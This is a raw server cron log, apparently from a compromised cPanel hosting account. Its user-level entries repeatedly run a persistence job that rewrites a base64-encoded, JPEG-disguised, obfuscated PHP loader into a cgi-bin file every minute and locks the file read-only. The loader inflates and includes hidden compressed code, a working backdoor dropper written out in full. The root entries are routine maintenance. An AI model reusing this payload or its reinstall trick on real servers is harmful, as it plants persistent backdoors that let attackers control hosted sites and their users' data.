Nov 12 11:13:02 server CROND[9414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:14:01 server CROND[10257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:15:01 server CROND[11290]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 11:15:01 server CROND[11291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:15:01 server CROND[11292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 11:16:01 server CROND[12248]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:17:01 server CROND[13080]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:18:01 server CROND[13909]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:19:01 server CROND[14741]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:20:01 server CROND[15550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 11:20:01 server CROND[15552]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 11:20:01 server CROND[15553]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 11:20:01 server CROND[15555]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 11:20:01 server CROND[15554]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:21:01 server CROND[16175]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:22:01 server CROND[16862]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:23:01 server CROND[17702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:24:01 server CROND[18511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:25:01 server CROND[19323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:25:01 server CROND[19324]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 11:25:01 server CROND[19325]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
